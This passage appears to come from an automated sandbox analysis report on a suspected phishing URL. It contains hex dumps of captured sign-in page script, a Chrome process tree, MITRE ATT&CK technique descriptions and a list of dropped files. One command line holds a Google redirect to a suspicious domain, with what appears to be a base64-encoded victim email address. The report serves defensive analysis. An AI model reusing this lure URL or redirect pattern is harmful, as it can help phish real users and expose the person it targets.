ING_NOT_ALLOWED:"800478D7",PP_E_IDP_BINDING_EXISTS_SAMSUNG:"8004453E",PP_E_TRANSFER_TOKEN_INVALID_SESSION:"800435A0"},n.EstsError={UserAccountSelectionInvalid:"16001",UserUnauthorized:"50020",UserUnauthorizedApiVersionNotSupported:"500201",UserUnauthorize
2024-12-09 23:07:26 UTC	16383	IN	Data Raw: 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3a 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3f 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3a 7b 7d 7d 2c 68 69 73 74 6f 72 79 3a 7b 70 75 73 68 53 74 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 54 2e 69 73 48 69 73 74 6f 72 79 53 75 70 70 6f 72 74 65 64 28 29 26 26 75 2e 68 69 73 74 6f 72 79 2e 70 75 73 68 53 74 61 74 65 28 65 2c 6e 29 7d 2c 72 65 70 6c 61 63 65 53 74 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 54 2e 69 73 48 69 73 74 6f 72 79 53 75 70 70 6f 72 74 65 64 28 29 26 26 75 2e 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 65 2c 6e 29 7d 7d 2c 61 64 64 45 76 65 6e 74 4c 69 73 74 Data Ascii: ocument.defaultView.getComputedStyle(e,null):e.currentStyle?e.currentStyle:{}},history:{pushState:function(e,n){T.isHistorySupported()&&u.history.pushState(e,n)},replaceState:function(e,n){T.isHistorySupported()&&u.history.replaceState(e,n)}},addEventList
2024-12-09 23:07:26 UTC	16383	IN	Data Raw: 50 72 6f 70 65 72 74 79 4c 6f 67 4f 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 28 6e 3d 6e 7c 7c 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 74 72 61 63 69 6e 67 50 72 6f 70 65 72 74 79 43 68 61 6e 67 65 22 29 7c 7c 28 6e 2e 74 72 61 63 69 6e 67 50 72 6f 70 65 72 74 79 43 68 61 6e 67 65 3d 21 30 29 2c 6e 2e 65 76 65 6e 74 4c 65 76 65 6c 3d 6e 2e 65 76 65 6e 74 4c 65 76 65 6c 7c 7c 69 2e 45 76 65 6e 74 4c 65 76 65 6c 2e 49 6e 66 6f 2c 7b 76 69 65 77 4d 6f 64 65 6c 3a 65 2c 74 72 61 63 69 6e 67 4f 70 74 69 6f 6e 73 3a 6e 7d 7d 2c 73 2e 67 65 74 44 65 66 61 75 6c 74 54 65 78 74 42 6f 78 50 72 6f 70 65 72 74 79 4c 6f 67 4f 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 28 6e 3d Data Ascii: PropertyLogOption=function(e,n){return(n=n\|\|{}).hasOwnProperty("tracingPropertyChange")\|\|(n.tracingPropertyChange=!0),n.eventLevel=n.eventLevel\|\|i.EventLevel.Info,{viewModel:e,tracingOptions:n}},s.getDefaultTextBoxPropertyLogOption=function(e,n){return(n=
2024-12-09 23:07:26 UTC	16383	IN	Data Raw: 61 72 20 6e 3d 65 2e 75 73 65 72 6e 61 6d 65 7c 7c 22 22 2c 74 3d 65 2e 66 6c 6f 77 54 6f 6b 65 6e 7c 7c 22 22 2c 69 3d 65 2e 70 75 72 70 6f 73 65 7c 7c 63 2e 50 61 73 73 77 6f 72 64 2c 61 3d 65 2e 70 72 6f 6f 66 54 79 70 65 2c 6f 3d 65 2e 70 72 6f 6f 66 44 61 74 61 7c 7c 22 22 2c 72 3d 65 2e 69 73 45 6e 63 72 79 70 74 65 64 2c 73 3d 65 2e 75 69 4d 6f 64 65 2c 64 3d 65 2e 6c 63 69 64 2c 6c 3d 65 2e 70 68 6f 6e 65 43 6f 75 6e 74 72 79 7c 7c 22 22 2c 70 3d 65 2e 70 68 6f 6e 65 43 6f 75 6e 74 72 79 43 6f 64 65 7c 7c 22 22 2c 6d 3d 65 2e 75 6e 61 75 74 68 53 65 73 73 69 6f 6e 49 64 2c 62 3d 65 2e 70 72 6f 6f 66 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 2c 76 3d 65 2e 63 61 6e 61 72 79 46 6c 6f 77 54 6f 6b 65 6e 3b 74 68 69 73 5b 75 2e 55 73 65 72 6e 61 6d 65 5d 3d Data Ascii: ar n=e.username\|\|"",t=e.flowToken\|\|"",i=e.purpose\|\|c.Password,a=e.proofType,o=e.proofData\|\|"",r=e.isEncrypted,s=e.uiMode,d=e.lcid,l=e.phoneCountry\|\|"",p=e.phoneCountryCode\|\|"",m=e.unauthSessionId,b=e.proofConfirmation,v=e.canaryFlowToken;this[u.Username]=
2024-12-09 23:07:26 UTC	16383	IN	Data Raw: 3f 67 2e 63 6c 6f 6e 65 28 67 65 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 69 26 26 28 69 2e 75 6e 73 61 66 65 5f 75 73 65 72 6e 61 6d 65 3d 6e 29 2c 6c 6e 28 65 2c 69 2c 21 30 2c 6c 2e 45 76 65 6e 74 49 64 73 2e 52 65 64 69 72 65 63 74 5f 4f 74 68 65 72 49 64 70 52 65 64 69 72 65 63 74 69 6f 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 74 6e 28 65 2c 6e 2c 74 29 7b 74 3d 74 7c 7c 6c 65 2c 74 3d 70 2e 72 65 6d 6f 76 65 28 74 2c 22 75 73 65 72 6e 61 6d 65 22 29 2c 74 3d 70 2e 72 65 6d 6f 76 65 28 74 2c 22 6c 6f 67 69 6e 5f 68 69 6e 74 22 29 3b 76 61 72 20 69 3d 70 65 3f 67 2e 63 6c 6f 6e 65 28 70 65 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 6e 26 26 28 6e 2e 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 3d 3d 3d 53 2e 4e 6f 74 45 78 69 73 74 7c 7c 6e 2e 49 73 55 6e 6d Data Ascii: ?g.clone(ge):null;return i&&(i.unsafe_username=n),ln(e,i,!0,l.EventIds.Redirect_OtherIdpRedirection)}function tn(e,n,t){t=t\|\|le,t=p.remove(t,"username"),t=p.remove(t,"login_hint");var i=pe?g.clone(pe):null;return n&&(n.IfExistsResult===S.NotExist\|\|n.IsUnm
2024-12-09 23:07:26 UTC	16383	IN	Data Raw: 65 2e 73 68 6f 77 46 6f 72 67 6f 74 55 73 65 72 6e 61 6d 65 2c 68 3d 65 2e 68 69 64 65 43 72 65 64 53 77 69 74 63 68 4c 69 6e 6b 2c 5f 3d 65 2e 61 72 69 61 44 65 73 63 72 69 62 65 64 42 79 2c 43 3d 65 2e 73 65 74 46 6f 63 75 73 2c 53 3d 74 2e 73 74 72 2c 78 3d 74 2e 75 72 6c 46 6f 72 67 6f 74 55 73 65 72 6e 61 6d 65 2c 77 3d 74 2e 73 53 69 74 65 49 64 2c 79 3d 74 2e 73 43 6c 69 65 6e 74 49 64 2c 6b 3d 74 2e 73 46 6f 72 77 61 72 64 65 64 43 6c 69 65 6e 74 49 64 2c 50 3d 74 2e 73 4e 6f 50 61 42 75 62 62 6c 65 56 65 72 73 69 6f 6e 2c 54 3d 74 2e 66 53 68 6f 77 53 69 67 6e 49 6e 4f 70 74 69 6f 6e 73 41 73 42 75 74 74 6f 6e 2c 44 3d 74 2e 66 4f 66 66 6c 69 6e 65 41 63 63 6f 75 6e 74 56 69 73 69 62 6c 65 2c 45 3d 74 2e 66 55 73 65 43 65 72 74 69 66 69 63 61 74 Data Ascii: e.showForgotUsername,h=e.hideCredSwitchLink,_=e.ariaDescribedBy,C=e.setFocus,S=t.str,x=t.urlForgotUsername,w=t.sSiteId,y=t.sClientId,k=t.sForwardedClientId,P=t.sNoPaBubbleVersion,T=t.fShowSignInOptionsAsButton,D=t.fOfflineAccountVisible,E=t.fUseCertificat
2024-12-09 23:07:26 UTC	16383	IN	Data Raw: 74 29 7b 74 68 69 73 2e 6e 61 6d 65 3d 22 43 61 6e 61 72 79 56 61 6c 69 64 61 74 69 6f 6e 45 72 72 6f 72 22 2c 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 22 43 61 6e 61 72 79 20 76 61 6c 69 64 61 74 69 6f 6e 20 66 61 69 6c 65 64 2c 20 75 73 65 72 20 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 72 65 71 75 69 72 65 64 2e 22 2c 74 68 69 73 2e 73 74 61 63 6b 3d 28 6e 65 77 20 45 72 72 6f 72 29 2e 73 74 61 63 6b 2c 74 68 69 73 2e 69 6e 6e 65 72 45 72 72 6f 72 3d 65 2c 74 68 69 73 2e 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 56 69 65 77 49 64 3d 6e 2c 74 68 69 73 2e 70 6f 73 74 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 41 63 74 69 6f 6e 3d 74 7d 2c 65 2e 65 78 70 6f 72 74 73 3d 6c 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 69 3d 74 28 33 29 2c 61 3d 74 28 37 Data Ascii: t){this.name="CanaryValidationError",this.message="Canary validation failed, user confirmation required.",this.stack=(new Error).stack,this.innerError=e,this.confirmationViewId=n,this.postConfirmationAction=t},e.exports=l},function(e,n,t){var i=t(3),a=t(7
2024-12-09 23:07:26 UTC	7	IN	Data Raw: 2c 65 2e 65 78 70 6f Data Ascii: ,e.expo

Target ID:	0
Start time:	18:06:12
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	18:06:15
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 --field-trial-handle=2276,i,2124656294243649760,5644451124294836775,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	18:06:21
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.google.com.hk/url?q=KWUZMS42J831JSWOSF4KEIP36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fjvsimmigration.com/c/efcfa9e5f8b2f41713ea899643a31954/YnJ1Y2VwQGxlc21hbi5jb20="
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121